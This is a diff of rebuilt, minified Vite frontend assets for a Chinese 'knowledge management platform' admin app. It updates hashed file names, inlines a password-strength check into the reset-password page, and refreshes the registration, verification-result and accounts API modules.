     <link rel="icon" type="image/svg+xml" href="./vite.svg" />
     <meta name="viewport" content="width=device-width, initial-scale=1.0" />
     <title>后台管理 - 知识管理平台</title>
-    <script type="module" crossorigin src="./assets/index-CDhtYQo-.js"></script>
-    <link rel="stylesheet" crossorigin href="./assets/index-DiIt7W4Z.css">
+    <script type="module" crossorigin src="./assets/index-C9w-iZIr.js"></script>
+    <link rel="stylesheet" crossorigin href="./assets/index-_5Ec1Hmd.css">
   </head>
   <body>
     <div id="app"></div>

static/app/.vite/manifest.json

@@ -1,24 +1,20 @@
 {
-  "_accounts-BXD0We06.js": {
-    "file": "assets/accounts-BXD0We06.js",
+  "_accounts-CTfB-Ncr.js": {
+    "file": "assets/accounts-CTfB-Ncr.js",
     "name": "accounts",
     "imports": [
       "index.html"
     ]
   },
-  "_auth-cf7b3Gq2.js": {
-    "file": "assets/auth-cf7b3Gq2.js",
+  "_auth-WsWSY0rn.js": {
+    "file": "assets/auth-WsWSY0rn.js",
     "name": "auth",
     "imports": [
       "index.html"
     ]
   },
-  "_password-7ryi82gE.js": {
-    "file": "assets/password-7ryi82gE.js",
-    "name": "password"
-  },
   "index.html": {
-    "file": "assets/index-DhsLPY8p.js",
+    "file": "assets/index-CEOd73lG.js",
     "name": "index",
     "src": "index.html",
     "isEntry": true,
@@ -36,12 +32,12 @@
     ]
   },
   "src/pages/AccountsPage.vue": {
-    "file": "assets/AccountsPage-38dq1Ex4.js",
+    "file": "assets/AccountsPage-D3IUho1c.js",
     "name": "AccountsPage",
     "src": "src/pages/AccountsPage.vue",
     "isDynamicEntry": true,
     "imports": [
-      "_accounts-BXD0We06.js",
+      "_accounts-CTfB-Ncr.js",
       "index.html"
     ],
     "css": [
@@ -49,53 +45,51 @@
     ]
   },
   "src/pages/LoginPage.vue": {
-    "file": "assets/LoginPage-B_fgHOTT.js",
+    "file": "assets/LoginPage-x4LlIM56.js",
     "name": "LoginPage",
     "src": "src/pages/LoginPage.vue",
     "isDynamicEntry": true,
     "imports": [
       "index.html",
-      "_auth-cf7b3Gq2.js",
-      "_password-7ryi82gE.js"
+      "_auth-WsWSY0rn.js"
     ],
     "css": [
-      "assets/LoginPage-8DI6Rf67.css"
+      "assets/LoginPage-C_sxX_84.css"
     ]
   },
   "src/pages/RegisterPage.vue": {
-    "file": "assets/RegisterPage-B_Z92PVI.js",
+    "file": "assets/RegisterPage-BBedBh-y.js",
     "name": "RegisterPage",
     "src": "src/pages/RegisterPage.vue",
     "isDynamicEntry": true,
     "imports": [
       "index.html",
-      "_auth-cf7b3Gq2.js"
+      "_auth-WsWSY0rn.js"
     ],
     "css": [
       "assets/RegisterPage-yylt2w7b.css"
     ]
   },
   "src/pages/ResetPasswordPage.vue": {
-    "file": "assets/ResetPasswordPage-2f8v-5j9.js",
+    "file": "assets/ResetPasswordPage--Vqm02p7.js",
     "name": "ResetPasswordPage",
     "src": "src/pages/ResetPasswordPage.vue",
     "isDynamicEntry": true,
     "imports": [
       "index.html",
-      "_auth-cf7b3Gq2.js",
-      "_password-7ryi82gE.js"
+      "_auth-WsWSY0rn.js"
     ],
     "css": [
       "assets/ResetPasswordPage-DybfLMAw.css"
     ]
   },
   "src/pages/SchedulesPage.vue": {
-    "file": "assets/SchedulesPage-VLwHd9Sa.js",
+    "file": "assets/SchedulesPage-Cln6Gk1v.js",
     "name": "SchedulesPage",
     "src": "src/pages/SchedulesPage.vue",
     "isDynamicEntry": true,
     "imports": [
-      "_accounts-BXD0We06.js",
+      "_accounts-CTfB-Ncr.js",
       "index.html"
     ],
     "css": [
@@ -103,7 +97,7 @@
     ]
   },
   "src/pages/ScreenshotsPage.vue": {
-    "file": "assets/ScreenshotsPage-Dtd_MXUX.js",
+    "file": "assets/ScreenshotsPage-BeyAIC93.js",
     "name": "ScreenshotsPage",
     "src": "src/pages/ScreenshotsPage.vue",
     "isDynamicEntry": true,
@@ -115,7 +109,7 @@
     ]
   },
   "src/pages/VerifyResultPage.vue": {
-    "file": "assets/VerifyResultPage-8_v-5_kc.js",
+    "file": "assets/VerifyResultPage-Ci85Um-V.js",
     "name": "VerifyResultPage",
     "src": "src/pages/VerifyResultPage.vue",
     "isDynamicEntry": true,

static/app/assets/LoginPage-8DI6Rf67.css

@@ -1 +0,0 @@
-.auth-wrap[data-v-50df591d]{min-height:100vh;display:flex;align-items:center;justify-content:center;padding:20px}.auth-card[data-v-50df591d]{width:100%;max-width:420px;border-radius:var(--app-radius);border:1px solid var(--app-border);box-shadow:var(--app-shadow)}.brand[data-v-50df591d]{margin-bottom:14px}.brand-title[data-v-50df591d]{font-size:18px;font-weight:900}.brand-sub[data-v-50df591d]{margin-top:4px;font-size:12px}.links[data-v-50df591d]{display:flex;align-items:center;justify-content:space-between;gap:10px;margin:2px 0 10px;flex-wrap:wrap}.submit-btn[data-v-50df591d]{width:100%}.foot[data-v-50df591d]{margin-top:14px;display:flex;align-items:center;justify-content:center;gap:6px}.dialog-form[data-v-50df591d]{margin-top:10px}.captcha-row[data-v-50df591d]{display:flex;align-items:center;gap:10px;width:100%}.captcha-img[data-v-50df591d]{height:40px;border:1px solid var(--app-border);border-radius:8px;cursor:pointer;-webkit-user-select:none;user-select:none}@media(max-width:480px){.captcha-img[data-v-50df591d]{height:38px}}

static/app/assets/LoginPage-C_sxX_84.css

@@ -0,0 +1 @@
+.auth-wrap[data-v-c04a6b1b]{min-height:100vh;display:flex;align-items:center;justify-content:center;padding:20px}.auth-card[data-v-c04a6b1b]{width:100%;max-width:420px;border-radius:var(--app-radius);border:1px solid var(--app-border);box-shadow:var(--app-shadow)}.brand[data-v-c04a6b1b]{margin-bottom:14px}.brand-title[data-v-c04a6b1b]{font-size:18px;font-weight:900}.brand-sub[data-v-c04a6b1b]{margin-top:4px;font-size:12px}.links[data-v-c04a6b1b]{display:flex;align-items:center;justify-content:space-between;gap:10px;margin:2px 0 10px;flex-wrap:wrap}.submit-btn[data-v-c04a6b1b]{width:100%}.foot[data-v-c04a6b1b]{margin-top:14px;display:flex;align-items:center;justify-content:center;gap:6px}.dialog-form[data-v-c04a6b1b]{margin-top:10px}.captcha-row[data-v-c04a6b1b]{display:flex;align-items:center;gap:10px;width:100%}.captcha-img[data-v-c04a6b1b]{height:40px;border:1px solid var(--app-border);border-radius:8px;cursor:pointer;-webkit-user-select:none;user-select:none}@media(max-width:480px){.captcha-img[data-v-c04a6b1b]{height:38px}}

static/app/assets/RegisterPage-BBedBh-y.js

@@ -1 +1 @@
-import{_ as M,r as j,a as p,c as B,o as A,b as S,d as t,w as o,e as m,u as H,f as g,g as n,h as U,i as x,j as N,t as q,k as E,E as d}from"./index-DhsLPY8p.js";import{g as z,f as F,c as G}from"./auth-cf7b3Gq2.js";const J={class:"auth-wrap"},O={class:"hint app-muted"},Q={class:"captcha-row"},W=["src"],X={class:"actions"},Y={__name:"RegisterPage",setup(Z){const T=H(),a=j({username:"",password:"",confirm_password:"",email:"",captcha:""}),v=p(!1),f=p(""),h=p(""),b=p(!1),l=p(""),_=p(""),V=p(""),K=B(()=>v.value?"邮箱 *":"邮箱（可选）"),P=B(()=>v.value?"必填，用于账号验证":"选填，用于找回密码和接收通知");async function w(){try{const u=await z();h.value=u?.session_id||"",f.value=u?.captcha_image||"",a.captcha=""}catch{h.value="",f.value=""}}async function R(){try{const u=await F();v.value=!!u?.register_verify_enabled}catch{v.value=!1}}function D(){l.value="",_.value="",V.value=""}async function k(){D();const u=a.username.trim(),e=a.password,y=a.confirm_password,s=a.email.trim(),i=a.captcha.trim();if(u.length<3){l.value="用户名至少3个字符",d.error(l.value);return}if(e.length<6){l.value="密码至少6个字符",d.error(l.value);return}if(e!==y){l.value="两次输入的密码不一致",d.error(l.value);return}if(v.value&&!s){l.value="请填写邮箱地址用于账号验证",d.error(l.value);return}if(s&&!s.includes("@")){l.value="邮箱格式不正确",d.error(l.value);return}if(!i){l.value="请输入验证码",d.error(l.value);return}b.value=!0;try{const c=await G({username:u,password:e,email:s,captcha_session:h.value,captcha:i});_.value=c?.message||"注册成功",V.value=c?.need_verify?"请检查您的邮箱（包括垃圾邮件文件夹）":"",d.success("注册成功"),a.username="",a.password="",a.confirm_password="",a.email="",a.captcha="",setTimeout(()=>{window.location.href="/login"},3e3)}catch(c){const C=c?.response?.data;l.value=C?.error||"注册失败",d.error(l.value),await w()}finally{b.value=!1}}function I(){T.push("/login")}return A(async()=>{await w(),await R()}),(u,e)=>{const y=m("el-alert"),s=m("el-input"),i=m("el-form-item"),c=m("el-button"),C=m("el-form"),L=m("el-card");return g(),S("div",J,[t(L,{shadow:"never",class:"auth-card","body-style":{padding:"22px"}},{default:o(()=>[e[11]||(e[11]=n("div",{class:"brand"},[n("div",{class:"brand-title"},"知识管理平台"),n("div",{class:"brand-sub app-muted"},"用户注册")],-1)),l.value?(g(),U(y,{key:0,type:"error",closable:!1,title:l.value,"show-icon":"",class:"alert"},null,8,["title"])):x("",!0),_.value?(g(),U(y,{key:1,type:"success",closable:!1,title:_.value,description:V.value,"show-icon":"",class:"alert"},null,8,["title","description"])):x("",!0),t(C,{"label-position":"top"},{default:o(()=>[t(i,{label:"用户名 *"},{default:o(()=>[t(s,{modelValue:a.username,"onUpdate:modelValue":e[0]||(e[0]=r=>a.username=r),placeholder:"至少3个字符",autocomplete:"username"},null,8,["modelValue"]),e[5]||(e[5]=n("div",{class:"hint app-muted"},"至少3个字符",-1))]),_:1}),t(i,{label:"密码 *"},{default:o(()=>[t(s,{modelValue:a.password,"onUpdate:modelValue":e[1]||(e[1]=r=>a.password=r),type:"password","show-password":"",placeholder:"至少6个字符",autocomplete:"new-password"},null,8,["modelValue"]),e[6]||(e[6]=n("div",{class:"hint app-muted"},"至少6个字符",-1))]),_:1}),t(i,{label:"确认密码 *"},{default:o(()=>[t(s,{modelValue:a.confirm_password,"onUpdate:modelValue":e[2]||(e[2]=r=>a.confirm_password=r),type:"password","show-password":"",placeholder:"请再次输入密码",autocomplete:"new-password",onKeyup:N(k,["enter"])},null,8,["modelValue"])]),_:1}),t(i,{label:K.value},{default:o(()=>[t(s,{modelValue:a.email,"onUpdate:modelValue":e[3]||(e[3]=r=>a.email=r),placeholder:"name@example.com",autocomplete:"email"},null,8,["modelValue"]),n("div",O,q(P.value),1)]),_:1},8,["label"]),t(i,{label:"验证码 *"},{default:o(()=>[n("div",Q,[t(s,{modelValue:a.captcha,"onUpdate:modelValue":e[4]||(e[4]=r=>a.captcha=r),placeholder:"请输入验证码",onKeyup:N(k,["enter"])},null,8,["modelValue"]),f.value?(g(),S("img",{key:0,class:"captcha-img",src:f.value,alt:"验证码",title:"点击刷新",onClick:w},null,8,W)):x("",!0),t(c,{onClick:w},{default:o(()=>[...e[7]||(e[7]=[E("刷新",-1)])]),_:1})])]),_:1})]),_:1}),t(c,{type:"primary",class:"submit-btn",loading:b.value,onClick:k},{default:o(()=>[...e[8]||(e[8]=[E("注册",-1)])]),_:1},8,["loading"]),n("div",X,[e[10]||(e[10]=n("span",{class:"app-muted"},"已有账号？",-1)),t(c,{link:"",type:"primary",onClick:I},{default:o(()=>[...e[9]||(e[9]=[E("立即登录",-1)])]),_:1})])]),_:1})])}}},ae=M(Y,[["__scopeId","data-v-75731a6d"]]);export{ae as default};
+import{_ as M,r as j,a as p,c as B,o as A,b as S,d as t,w as o,e as m,u as H,f as g,g as n,h as U,i as x,j as N,t as q,k as E,E as d}from"./index-CEOd73lG.js";import{g as z,f as F,b as G}from"./auth-WsWSY0rn.js";const J={class:"auth-wrap"},O={class:"hint app-muted"},Q={class:"captcha-row"},W=["src"],X={class:"actions"},Y={__name:"RegisterPage",setup(Z){const T=H(),a=j({username:"",password:"",confirm_password:"",email:"",captcha:""}),v=p(!1),f=p(""),b=p(""),h=p(!1),l=p(""),_=p(""),V=p(""),K=B(()=>v.value?"邮箱 *":"邮箱（可选）"),P=B(()=>v.value?"必填，用于账号验证":"选填，用于找回密码和接收通知");async function w(){try{const u=await z();b.value=u?.session_id||"",f.value=u?.captcha_image||"",a.captcha=""}catch{b.value="",f.value=""}}async function R(){try{const u=await F();v.value=!!u?.register_verify_enabled}catch{v.value=!1}}function D(){l.value="",_.value="",V.value=""}async function k(){D();const u=a.username.trim(),e=a.password,y=a.confirm_password,s=a.email.trim(),i=a.captcha.trim();if(u.length<3){l.value="用户名至少3个字符",d.error(l.value);return}if(e.length<6){l.value="密码至少6个字符",d.error(l.value);return}if(e!==y){l.value="两次输入的密码不一致",d.error(l.value);return}if(v.value&&!s){l.value="请填写邮箱地址用于账号验证",d.error(l.value);return}if(s&&!s.includes("@")){l.value="邮箱格式不正确",d.error(l.value);return}if(!i){l.value="请输入验证码",d.error(l.value);return}h.value=!0;try{const c=await G({username:u,password:e,email:s,captcha_session:b.value,captcha:i});_.value=c?.message||"注册成功",V.value=c?.need_verify?"请检查您的邮箱（包括垃圾邮件文件夹）":"",d.success("注册成功"),a.username="",a.password="",a.confirm_password="",a.email="",a.captcha="",setTimeout(()=>{window.location.href="/login"},3e3)}catch(c){const C=c?.response?.data;l.value=C?.error||"注册失败",d.error(l.value),await w()}finally{h.value=!1}}function I(){T.push("/login")}return A(async()=>{await w(),await R()}),(u,e)=>{const y=m("el-alert"),s=m("el-input"),i=m("el-form-item"),c=m("el-button"),C=m("el-form"),L=m("el-card");return g(),S("div",J,[t(L,{shadow:"never",class:"auth-card","body-style":{padding:"22px"}},{default:o(()=>[e[11]||(e[11]=n("div",{class:"brand"},[n("div",{class:"brand-title"},"知识管理平台"),n("div",{class:"brand-sub app-muted"},"用户注册")],-1)),l.value?(g(),U(y,{key:0,type:"error",closable:!1,title:l.value,"show-icon":"",class:"alert"},null,8,["title"])):x("",!0),_.value?(g(),U(y,{key:1,type:"success",closable:!1,title:_.value,description:V.value,"show-icon":"",class:"alert"},null,8,["title","description"])):x("",!0),t(C,{"label-position":"top"},{default:o(()=>[t(i,{label:"用户名 *"},{default:o(()=>[t(s,{modelValue:a.username,"onUpdate:modelValue":e[0]||(e[0]=r=>a.username=r),placeholder:"至少3个字符",autocomplete:"username"},null,8,["modelValue"]),e[5]||(e[5]=n("div",{class:"hint app-muted"},"至少3个字符",-1))]),_:1}),t(i,{label:"密码 *"},{default:o(()=>[t(s,{modelValue:a.password,"onUpdate:modelValue":e[1]||(e[1]=r=>a.password=r),type:"password","show-password":"",placeholder:"至少6个字符",autocomplete:"new-password"},null,8,["modelValue"]),e[6]||(e[6]=n("div",{class:"hint app-muted"},"至少6个字符",-1))]),_:1}),t(i,{label:"确认密码 *"},{default:o(()=>[t(s,{modelValue:a.confirm_password,"onUpdate:modelValue":e[2]||(e[2]=r=>a.confirm_password=r),type:"password","show-password":"",placeholder:"请再次输入密码",autocomplete:"new-password",onKeyup:N(k,["enter"])},null,8,["modelValue"])]),_:1}),t(i,{label:K.value},{default:o(()=>[t(s,{modelValue:a.email,"onUpdate:modelValue":e[3]||(e[3]=r=>a.email=r),placeholder:"name@example.com",autocomplete:"email"},null,8,["modelValue"]),n("div",O,q(P.value),1)]),_:1},8,["label"]),t(i,{label:"验证码 *"},{default:o(()=>[n("div",Q,[t(s,{modelValue:a.captcha,"onUpdate:modelValue":e[4]||(e[4]=r=>a.captcha=r),placeholder:"请输入验证码",onKeyup:N(k,["enter"])},null,8,["modelValue"]),f.value?(g(),S("img",{key:0,class:"captcha-img",src:f.value,alt:"验证码",title:"点击刷新",onClick:w},null,8,W)):x("",!0),t(c,{onClick:w},{default:o(()=>[...e[7]||(e[7]=[E("刷新",-1)])]),_:1})])]),_:1})]),_:1}),t(c,{type:"primary",class:"submit-btn",loading:h.value,onClick:k},{default:o(()=>[...e[8]||(e[8]=[E("注册",-1)])]),_:1},8,["loading"]),n("div",X,[e[10]||(e[10]=n("span",{class:"app-muted"},"已有账号？",-1)),t(c,{link:"",type:"primary",onClick:I},{default:o(()=>[...e[9]||(e[9]=[E("立即登录",-1)])]),_:1})])]),_:1})])}}},ae=M(Y,[["__scopeId","data-v-75731a6d"]]);export{ae as default};

static/app/assets/ResetPasswordPage--Vqm02p7.js

@@ -0,0 +1 @@
+import{_ as M,a as n,l as U,r as j,c as F,o as K,m as z,b as g,d as o,w as t,e as l,u as D,f,g as w,F as A,k as I,h as Z,i as B,j as q,t as G,E as y}from"./index-CEOd73lG.js";import{c as H}from"./auth-WsWSY0rn.js";function J(S){const r=String(S||"");return r.length<8?{ok:!1,message:"密码长度至少8位"}:!/[a-zA-Z]/.test(r)||!/\d/.test(r)?{ok:!1,message:"密码必须包含字母和数字"}:{ok:!0,message:""}}const O={class:"auth-wrap"},Q={class:"actions"},W={class:"actions"},X={key:0,class:"app-muted"},Y={__name:"ResetPasswordPage",setup(S){const r=U(),C=D(),i=n(String(r.params.token||"")),d=n(!0),b=n(""),a=j({newPassword:"",confirmPassword:""}),k=n(!1),_=n(""),u=n(0);let c=null;function N(){if(typeof window>"u")return null;const s=window.__APP_INITIAL_STATE__;return!s||typeof s!="object"?null:(window.__APP_INITIAL_STATE__=null,s)}const h=F(()=>!!(d.value&&i.value&&!_.value));function V(){C.push("/login")}function R(){u.value=3,c=window.setInterval(()=>{u.value-=1,u.value<=0&&(window.clearInterval(c),c=null,window.location.href="/login")},1e3)}async function T(){if(!h.value)return;const s=a.newPassword,e=a.confirmPassword,p=J(s);if(!p.ok){y.error(p.message);return}if(s!==e){y.error("两次输入的密码不一致");return}k.value=!0;try{await H({token:i.value,new_password:s}),_.value="密码重置成功！3秒后跳转到登录页面...",y.success("密码重置成功"),R()}catch(m){const v=m?.response?.data;y.error(v?.error||"重置失败")}finally{k.value=!1}}return K(()=>{const s=N();s?.page==="reset_password"?(i.value=String(s?.token||i.value||""),d.value=!!s?.valid,b.value=s?.error_message||(d.value?"":"重置链接无效或已过期，请重新申请密码重置")):i.value||(d.value=!1,b.value="重置链接无效或已过期，请重新申请密码重置")}),z(()=>{c&&window.clearInterval(c)}),(s,e)=>{const p=l("el-alert"),m=l("el-button"),v=l("el-input"),x=l("el-form-item"),E=l("el-form"),L=l("el-card");return f(),g("div",O,[o(L,{shadow:"never",class:"auth-card","body-style":{padding:"22px"}},{default:t(()=>[e[5]||(e[5]=w("div",{class:"brand"},[w("div",{class:"brand-title"},"知识管理平台"),w("div",{class:"brand-sub app-muted"},"重置密码")],-1)),d.value?(f(),g(A,{key:1},[_.value?(f(),Z(p,{key:0,type:"success",closable:!1,title:"重置成功",description:_.value,"show-icon":"",class:"alert"},null,8,["description"])):B("",!0),o(E,{"label-position":"top"},{default:t(()=>[o(x,{label:"新密码（至少8位且包含字母和数字）"},{default:t(()=>[o(v,{modelValue:a.newPassword,"onUpdate:modelValue":e[0]||(e[0]=P=>a.newPassword=P),type:"password","show-password":"",placeholder:"请输入新密码",autocomplete:"new-password"},null,8,["modelValue"])]),_:1}),o(x,{label:"确认密码"},{default:t(()=>[o(v,{modelValue:a.confirmPassword,"onUpdate:modelValue":e[1]||(e[1]=P=>a.confirmPassword=P),type:"password","show-password":"",placeholder:"请再次输入新密码",autocomplete:"new-password",onKeyup:q(T,["enter"])},null,8,["modelValue"])]),_:1})]),_:1}),o(m,{type:"primary",class:"submit-btn",loading:k.value,disabled:!h.value,onClick:T},{default:t(()=>[...e[3]||(e[3]=[I(" 确认重置 ",-1)])]),_:1},8,["loading","disabled"]),w("div",W,[o(m,{link:"",type:"primary",onClick:V},{default:t(()=>[...e[4]||(e[4]=[I("返回登录",-1)])]),_:1}),u.value>0?(f(),g("span",X,G(u.value)+" 秒后自动跳转…",1)):B("",!0)])],64)):(f(),g(A,{key:0},[o(p,{type:"error",closable:!1,title:"链接已失效",description:b.value,"show-icon":""},null,8,["description"]),w("div",Q,[o(m,{type:"primary",onClick:V},{default:t(()=>[...e[2]||(e[2]=[I("返回登录",-1)])]),_:1})])],64))]),_:1})])}}},se=M(Y,[["__scopeId","data-v-0bbb511c"]]);export{se as default};

static/app/assets/ResetPasswordPage-2f8v-5j9.js

@@ -1 +0,0 @@
-import{_ as L,a as n,l as M,r as U,c as j,o as F,m as K,b as v,d as s,w as a,e as l,u as D,f as m,g as w,F as T,k,h as q,i as x,j as z,t as G,E as y}from"./index-DhsLPY8p.js";import{d as H}from"./auth-cf7b3Gq2.js";import{v as J}from"./password-7ryi82gE.js";const O={class:"auth-wrap"},Q={class:"actions"},W={class:"actions"},X={key:0,class:"app-muted"},Y={__name:"ResetPasswordPage",setup(Z){const B=M(),A=D(),r=n(String(B.params.token||"")),i=n(!0),b=n(""),t=U({newPassword:"",confirmPassword:""}),g=n(!1),f=n(""),d=n(0);let u=null;function C(){if(typeof window>"u")return null;const o=window.__APP_INITIAL_STATE__;return!o||typeof o!="object"?null:(window.__APP_INITIAL_STATE__=null,o)}const I=j(()=>!!(i.value&&r.value&&!f.value));function S(){A.push("/login")}function N(){d.value=3,u=window.setInterval(()=>{d.value-=1,d.value<=0&&(window.clearInterval(u),u=null,window.location.href="/login")},1e3)}async function V(){if(!I.value)return;const o=t.newPassword,e=t.confirmPassword,c=J(o);if(!c.ok){y.error(c.message);return}if(o!==e){y.error("两次输入的密码不一致");return}g.value=!0;try{await H({token:r.value,new_password:o}),f.value="密码重置成功！3秒后跳转到登录页面...",y.success("密码重置成功"),N()}catch(p){const _=p?.response?.data;y.error(_?.error||"重置失败")}finally{g.value=!1}}return F(()=>{const o=C();o?.page==="reset_password"?(r.value=String(o?.token||r.value||""),i.value=!!o?.valid,b.value=o?.error_message||(i.value?"":"重置链接无效或已过期，请重新申请密码重置")):r.value||(i.value=!1,b.value="重置链接无效或已过期，请重新申请密码重置")}),K(()=>{u&&window.clearInterval(u)}),(o,e)=>{const c=l("el-alert"),p=l("el-button"),_=l("el-input"),h=l("el-form-item"),R=l("el-form"),E=l("el-card");return m(),v("div",O,[s(E,{shadow:"never",class:"auth-card","body-style":{padding:"22px"}},{default:a(()=>[e[5]||(e[5]=w("div",{class:"brand"},[w("div",{class:"brand-title"},"知识管理平台"),w("div",{class:"brand-sub app-muted"},"重置密码")],-1)),i.value?(m(),v(T,{key:1},[f.value?(m(),q(c,{key:0,type:"success",closable:!1,title:"重置成功",description:f.value,"show-icon":"",class:"alert"},null,8,["description"])):x("",!0),s(R,{"label-position":"top"},{default:a(()=>[s(h,{label:"新密码（至少8位且包含字母和数字）"},{default:a(()=>[s(_,{modelValue:t.newPassword,"onUpdate:modelValue":e[0]||(e[0]=P=>t.newPassword=P),type:"password","show-password":"",placeholder:"请输入新密码",autocomplete:"new-password"},null,8,["modelValue"])]),_:1}),s(h,{label:"确认密码"},{default:a(()=>[s(_,{modelValue:t.confirmPassword,"onUpdate:modelValue":e[1]||(e[1]=P=>t.confirmPassword=P),type:"password","show-password":"",placeholder:"请再次输入新密码",autocomplete:"new-password",onKeyup:z(V,["enter"])},null,8,["modelValue"])]),_:1})]),_:1}),s(p,{type:"primary",class:"submit-btn",loading:g.value,disabled:!I.value,onClick:V},{default:a(()=>[...e[3]||(e[3]=[k(" 确认重置 ",-1)])]),_:1},8,["loading","disabled"]),w("div",W,[s(p,{link:"",type:"primary",onClick:S},{default:a(()=>[...e[4]||(e[4]=[k("返回登录",-1)])]),_:1}),d.value>0?(m(),v("span",X,G(d.value)+" 秒后自动跳转…",1)):x("",!0)])],64)):(m(),v(T,{key:0},[s(c,{type:"error",closable:!1,title:"链接已失效",description:b.value,"show-icon":""},null,8,["description"]),w("div",Q,[s(p,{type:"primary",onClick:S},{default:a(()=>[...e[2]||(e[2]=[k("返回登录",-1)])]),_:1})])],64))]),_:1})])}}},se=L(Y,[["__scopeId","data-v-0bbb511c"]]);export{se as default};

static/app/assets/VerifyResultPage-Ci85Um-V.js

@@ -1 +1 @@
-import{_ as U,a as o,c as I,o as E,m as R,b as k,d as i,w as s,e as d,u as W,f as _,g as l,i as B,h as $,k as T,t as v}from"./index-DhsLPY8p.js";const j={class:"auth-wrap"},z={class:"actions"},D={key:0,class:"countdown app-muted"},M={__name:"VerifyResultPage",setup(q){const x=W(),p=o(!1),f=o(""),m=o(""),w=o(""),y=o(""),r=o(""),u=o(""),c=o(""),n=o(0);let a=null;function C(){if(typeof window>"u")return null;const e=window.__APP_INITIAL_STATE__;return!e||typeof e!="object"?null:(window.__APP_INITIAL_STATE__=null,e)}function N(e){const t=!!e?.success;p.value=t,f.value=e?.title||(t?"验证成功":"验证失败"),m.value=e?.message||e?.error_message||(t?"操作已完成，现在可以继续使用系统。":"操作失败，请稍后重试。"),w.value=e?.primary_label||(t?"立即登录":"重新注册"),y.value=e?.primary_url||(t?"/login":"/register"),r.value=e?.secondary_label||(t?"":"返回登录"),u.value=e?.secondary_url||(t?"":"/login"),c.value=e?.redirect_url||(t?"/login":""),n.value=Number(e?.redirect_seconds||(t?5:0))||0}const A=I(()=>!!(r.value&&u.value)),b=I(()=>!!(c.value&&n.value>0));async function g(e){if(e){if(e.startsWith("http://")||e.startsWith("https://")){window.location.href=e;return}await x.push(e)}}function P(){b.value&&(a=window.setInterval(()=>{n.value-=1,n.value<=0&&(window.clearInterval(a),a=null,window.location.href=c.value)},1e3))}return E(()=>{const e=C();N(e),P()}),R(()=>{a&&window.clearInterval(a)}),(e,t)=>{const h=d("el-button"),V=d("el-result"),L=d("el-card");return _(),k("div",j,[i(L,{shadow:"never",class:"auth-card","body-style":{padding:"22px"}},{default:s(()=>[t[2]||(t[2]=l("div",{class:"brand"},[l("div",{class:"brand-title"},"知识管理平台"),l("div",{class:"brand-sub app-muted"},"验证结果")],-1)),i(V,{icon:p.value?"success":"error",title:f.value,"sub-title":m.value,class:"result"},{extra:s(()=>[l("div",z,[i(h,{type:"primary",onClick:t[0]||(t[0]=S=>g(y.value))},{default:s(()=>[T(v(w.value),1)]),_:1}),A.value?(_(),$(h,{key:0,onClick:t[1]||(t[1]=S=>g(u.value))},{default:s(()=>[T(v(r.value),1)]),_:1})):B("",!0)]),b.value?(_(),k("div",D,v(n.value)+" 秒后自动跳转... ",1)):B("",!0)]),_:1},8,["icon","title","sub-title"])]),_:1})])}}},G=U(M,[["__scopeId","data-v-1fc6b081"]]);export{G as default};
+import{_ as U,a as o,c as I,o as E,m as R,b as k,d as i,w as s,e as d,u as W,f as _,g as l,i as B,h as $,k as T,t as v}from"./index-CEOd73lG.js";const j={class:"auth-wrap"},z={class:"actions"},D={key:0,class:"countdown app-muted"},M={__name:"VerifyResultPage",setup(q){const x=W(),p=o(!1),f=o(""),m=o(""),w=o(""),y=o(""),r=o(""),u=o(""),c=o(""),n=o(0);let a=null;function C(){if(typeof window>"u")return null;const e=window.__APP_INITIAL_STATE__;return!e||typeof e!="object"?null:(window.__APP_INITIAL_STATE__=null,e)}function N(e){const t=!!e?.success;p.value=t,f.value=e?.title||(t?"验证成功":"验证失败"),m.value=e?.message||e?.error_message||(t?"操作已完成，现在可以继续使用系统。":"操作失败，请稍后重试。"),w.value=e?.primary_label||(t?"立即登录":"重新注册"),y.value=e?.primary_url||(t?"/login":"/register"),r.value=e?.secondary_label||(t?"":"返回登录"),u.value=e?.secondary_url||(t?"":"/login"),c.value=e?.redirect_url||(t?"/login":""),n.value=Number(e?.redirect_seconds||(t?5:0))||0}const A=I(()=>!!(r.value&&u.value)),b=I(()=>!!(c.value&&n.value>0));async function g(e){if(e){if(e.startsWith("http://")||e.startsWith("https://")){window.location.href=e;return}await x.push(e)}}function P(){b.value&&(a=window.setInterval(()=>{n.value-=1,n.value<=0&&(window.clearInterval(a),a=null,window.location.href=c.value)},1e3))}return E(()=>{const e=C();N(e),P()}),R(()=>{a&&window.clearInterval(a)}),(e,t)=>{const h=d("el-button"),V=d("el-result"),L=d("el-card");return _(),k("div",j,[i(L,{shadow:"never",class:"auth-card","body-style":{padding:"22px"}},{default:s(()=>[t[2]||(t[2]=l("div",{class:"brand"},[l("div",{class:"brand-title"},"知识管理平台"),l("div",{class:"brand-sub app-muted"},"验证结果")],-1)),i(V,{icon:p.value?"success":"error",title:f.value,"sub-title":m.value,class:"result"},{extra:s(()=>[l("div",z,[i(h,{type:"primary",onClick:t[0]||(t[0]=S=>g(y.value))},{default:s(()=>[T(v(w.value),1)]),_:1}),A.value?(_(),$(h,{key:0,onClick:t[1]||(t[1]=S=>g(u.value))},{default:s(()=>[T(v(r.value),1)]),_:1})):B("",!0)]),b.value?(_(),k("div",D,v(n.value)+" 秒后自动跳转... ",1)):B("",!0)]),_:1},8,["icon","title","sub-title"])]),_:1})])}}},G=U(M,[["__scopeId","data-v-1fc6b081"]]);export{G as default};

static/app/assets/accounts-CTfB-Ncr.js

@@ -1 +1 @@
-import{p as c}from"./index-DhsLPY8p.js";async function o(t={}){const{data:a}=await c.get("/accounts",{params:t});return a}async function u(t){const{data:a}=await c.post("/accounts",t);return a}async function r(t,a){const{data:n}=await c.put(`/accounts/${t}`,a);return n}async function e(t){const{data:a}=await c.delete(`/accounts/${t}`);return a}async function i(t,a){const{data:n}=await c.put(`/accounts/${t}/remark`,a);return n}async function p(t,a){const{data:n}=await c.post(`/accounts/${t}/start`,a);return n}async function d(t){const{data:a}=await c.post(`/accounts/${t}/stop`,{});return a}async function f(t){const{data:a}=await c.post("/accounts/batch/start",t);return a}async function w(t){const{data:a}=await c.post("/accounts/batch/stop",t);return a}async function y(){const{data:t}=await c.post("/accounts/clear",{});return t}async function A(t,a={}){const{data:n}=await c.post(`/accounts/${t}/screenshot`,a);return n}export{w as a,f as b,y as c,d,e,o as f,u as g,i as h,p as s,A as t,r as u};
